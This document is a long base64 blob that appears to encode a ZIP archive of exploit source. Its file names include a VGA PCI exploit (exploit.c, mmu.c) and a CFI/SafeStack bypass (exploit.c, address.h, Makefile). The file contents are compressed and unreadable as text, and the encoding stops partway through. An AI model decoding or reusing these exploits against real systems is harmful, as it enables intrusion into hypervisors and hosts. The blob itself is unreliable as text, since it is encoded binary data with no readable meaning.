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 